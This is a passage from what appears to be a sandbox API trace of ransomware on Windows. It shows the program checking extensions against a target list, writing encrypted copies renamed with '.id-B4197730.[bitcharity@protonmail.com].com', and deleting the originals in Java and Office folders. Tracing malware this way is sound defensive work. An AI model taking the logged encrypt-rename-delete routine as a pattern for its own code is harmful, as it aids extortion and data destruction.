(lpString1=".zip", lpString2=".gif") returned 1 [0145.085] lstrlenW (lpString=".rar") returned 4 [0145.085] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0145.085] lstrlenW (lpString=".bz2") returned 4 [0145.085] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0145.085] lstrlenW (lpString=".7z") returned 3 [0145.085] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0145.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0145.085] lstrlenW (lpString=".dbf") returned 4 [0145.085] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0145.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0145.085] lstrlenW (lpString=".1cd") returned 4 [0145.085] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0145.085] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif") returned 79 [0145.085] lstrlenW (lpString=".jpg") returned 4 [0145.085] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0145.085] lstrcmpiW (lpString1=".gif", lpString2=".com") returned 1 [0145.085] lstrlenW (lpString="win32_MoveNoDrop32x32.gif") returned 25 [0145.085] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0145.086] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=153) returned 1 [0145.086] CloseHandle (hObject=0x1088) returned 1 [0145.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 0x20 [0145.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.086] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0145.086] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.086] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.086] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0145.087] GetLastError () returned 0x0 [0145.087] ReadFile (in: hFile=0x1088, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x99, lpOverlapped=0x0) returned 1 [0145.088] WriteFile (in: hFile=0x1080, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xa0, lpOverlapped=0x0) returned 1 [0145.224] ReadFile (in: hFile=0x1088, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.224] WriteFile (in: hFile=0x1080, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x106, lpOverlapped=0x0) returned 1 [0145.469] SetEndOfFile (hFile=0x1080) returned 1 [0145.469] CloseHandle (hObject=0x1080) returned 1 [0145.470] SetFilePointerEx (in: hFile=0x1088, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.470] SetEndOfFile (hFile=0x1088) returned 1 [0145.471] CloseHandle (hObject=0x1088) returned 1 [0145.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.471] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif")) returned 1 [0145.472] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0145.472] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0145.472] lstrlenW (lpString=".doc") returned 4 [0145.472] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0145.472] lstrlenW (lpString=".docx") returned 5 [0145.472] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0145.472] lstrlenW (lpString=".pdf") returned 4 [0145.472] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0145.472] lstrlenW (lpString=".xls") returned 4 [0145.472] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0145.472] lstrlenW (lpString=".xlsx") returned 5 [0145.472] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0145.472] lstrlenW (lpString=".ppt") returned 4 [0145.472] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0145.472] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0145.472] lstrlenW (lpString=".zip") returned 4 [0145.472] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0145.472] lstrlenW (lpString=".rar") returned 4 [0145.472] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0145.472] lstrlenW (lpString=".bz2") returned 4 [0145.472] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0145.472] lstrlenW (lpString=".7z") returned 3 [0145.472] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0145.472] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0145.472] lstrlenW (lpString=".dbf") returned 4 [0145.472] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0145.472] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0145.473] lstrlenW (lpString=".1cd") returned 4 [0145.473] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0145.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0145.473] lstrlenW (lpString=".jpg") returned 4 [0145.473] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0145.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0145.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0145.473] lstrlenW (lpString=".doc") returned 4 [0145.473] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0145.473] lstrlenW (lpString=".docx") returned 5 [0145.473] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0145.473] lstrlenW (lpString=".pdf") returned 4 [0145.473] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0145.473] lstrlenW (lpString=".xls") returned 4 [0145.473] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0145.473] lstrlenW (lpString=".xlsx") returned 5 [0145.473] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0145.473] lstrlenW (lpString=".ppt") returned 4 [0145.473] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0145.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0145.473] lstrlenW (lpString=".zip") returned 4 [0145.473] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0145.473] lstrlenW (lpString=".rar") returned 4 [0145.473] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0145.473] lstrlenW (lpString=".bz2") returned 4 [0145.473] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0145.473] lstrlenW (lpString=".7z") returned 3 [0145.473] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0145.473] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0145.474] lstrlenW (lpString=".dbf") returned 4 [0145.474] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0145.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0145.474] lstrlenW (lpString=".1cd") returned 4 [0145.474] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0145.474] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif") returned 79 [0145.474] lstrlenW (lpString=".jpg") returned 4 [0145.474] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0145.474] lstrcmpiW (lpString1=".XML", lpString2=".com") returned 1 [0145.474] lstrlenW (lpString="SLERROR.XML") returned 11 [0145.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0145.544] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=36336) returned 1 [0145.544] CloseHandle (hObject=0x1038) returned 1 [0145.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 0x20 [0145.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0145.544] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.545] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0145.545] GetLastError () returned 0x0 [0145.545] ReadFile (in: hFile=0x1038, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x8df0, lpOverlapped=0x0) returned 1 [0145.741] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x8e00, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x8e00, lpOverlapped=0x0) returned 1 [0145.742] ReadFile (in: hFile=0x1038, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.742] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xea, lpOverlapped=0x0) returned 1 [0145.742] SetEndOfFile (hFile=0x103c) returned 1 [0145.743] CloseHandle (hObject=0x103c) returned 1 [0145.744] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.744] SetEndOfFile (hFile=0x1038) returned 1 [0145.745] CloseHandle (hObject=0x1038) returned 1 [0145.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.745] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 1 [0145.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0145.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0145.747] lstrlenW (lpString=".doc") returned 4 [0145.747] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0145.747] lstrlenW (lpString=".docx") returned 5 [0145.747] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1 [0145.747] lstrlenW (lpString=".pdf") returned 4 [0145.747] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0145.747] lstrlenW (lpString=".xls") returned 4 [0145.747] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0145.747] lstrlenW (lpString=".xlsx") returned 5 [0145.747] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1 [0145.747] lstrlenW (lpString=".ppt") returned 4 [0145.747] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0145.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0145.747] lstrlenW (lpString=".zip") returned 4 [0145.747] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0145.747] lstrlenW (lpString=".rar") returned 4 [0145.747] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0145.747] lstrlenW (lpString=".bz2") returned 4 [0145.747] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0145.747] lstrlenW (lpString=".7z") returned 3 [0145.747] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0145.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0145.747] lstrlenW (lpString=".dbf") returned 4 [0145.747] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0145.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0145.747] lstrlenW (lpString=".1cd") returned 4 [0145.747] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0145.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0145.747] lstrlenW (lpString=".jpg") returned 4 [0145.747] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0145.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0145.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0145.748] lstrlenW (lpString=".doc") returned 4 [0145.748] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0145.748] lstrlenW (lpString=".docx") returned 5 [0145.748] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1 [0145.748] lstrlenW (lpString=".pdf") returned 4 [0145.748] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0145.748] lstrlenW (lpString=".xls") returned 4 [0145.748] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0145.748] lstrlenW (lpString=".xlsx") returned 5 [0145.748] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1 [0145.748] lstrlenW (lpString=".ppt") returned 4 [0145.748] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0145.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0145.748] lstrlenW (lpString=".zip") returned 4 [0145.748] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0145.748] lstrlenW (lpString=".rar") returned 4 [0145.748] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0145.748] lstrlenW (lpString=".bz2") returned 4 [0145.748] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0145.748] lstrlenW (lpString=".7z") returned 3 [0145.748] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0145.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0145.748] lstrlenW (lpString=".dbf") returned 4 [0145.748] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0145.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0145.748] lstrlenW (lpString=".1cd") returned 4 [0145.748] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0145.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0145.748] lstrlenW (lpString=".jpg") returned 4 [0145.748] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0145.749] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0145.749] lstrlenW (lpString="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 53 [0145.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0145.749] GetFileSizeEx (in: hFile=0x1038, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=1533) returned 1 [0145.749] CloseHandle (hObject=0x1038) returned 1 [0145.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 0x220 [0145.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1038 [0145.749] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.749] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x103c [0145.750] GetLastError () returned 0x0 [0145.750] ReadFile (in: hFile=0x1038, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x5fd, lpOverlapped=0x0) returned 1 [0145.763] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x600, lpOverlapped=0x0) returned 1 [0145.764] ReadFile (in: hFile=0x1038, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0145.764] WriteFile (in: hFile=0x103c, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x13e, lpOverlapped=0x0) returned 1 [0145.764] SetEndOfFile (hFile=0x103c) returned 1 [0145.764] CloseHandle (hObject=0x103c) returned 1 [0145.765] SetFilePointerEx (in: hFile=0x1038, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0145.765] SetEndOfFile (hFile=0x1038) returned 1 [0145.769] CloseHandle (hObject=0x1038) returned 1 [0145.769] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0145.769] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 1 [0145.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0145.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0145.825] lstrlenW (lpString=".doc") returned 4 [0145.825] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0145.825] lstrlenW (lpString=".docx") returned 5 [0145.825] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0145.825] lstrlenW (lpString=".pdf") returned 4 [0145.825] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0145.825] lstrlenW (lpString=".xls") returned 4 [0145.825] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0145.825] lstrlenW (lpString=".xlsx") returned 5 [0145.825] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0145.825] lstrlenW (lpString=".ppt") returned 4 [0145.825] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0145.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0145.825] lstrlenW (lpString=".zip") returned 4 [0145.825] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0145.825] lstrlenW (lpString=".rar") returned 4 [0145.825] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0145.825] lstrlenW (lpString=".bz2") returned 4 [0145.825] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0145.825] lstrlenW (lpString=".7z") returned 3 [0145.825] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0145.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0145.825] lstrlenW (lpString=".dbf") returned 4 [0145.825] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0145.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0145.825] lstrlenW (lpString=".1cd") returned 4 [0145.825] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0145.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0145.825] lstrlenW (lpString=".jpg") returned 4 [0145.825] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0145.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0145.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0145.825] lstrlenW (lpString=".doc") returned 4 [0145.826] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0145.826] lstrlenW (lpString=".docx") returned 5 [0145.826] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0145.826] lstrlenW (lpString=".pdf") returned 4 [0145.826] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0145.826] lstrlenW (lpString=".xls") returned 4 [0145.826] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0145.826] lstrlenW (lpString=".xlsx") returned 5 [0145.826] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0145.826] lstrlenW (lpString=".ppt") returned 4 [0145.826] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0145.826] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0145.826] lstrlenW (lpString=".zip") returned 4 [0145.826] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0145.826] lstrlenW (lpString=".rar") returned 4 [0145.826] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0145.826] lstrlenW (lpString=".bz2") returned 4 [0145.826] lstrcmpiW 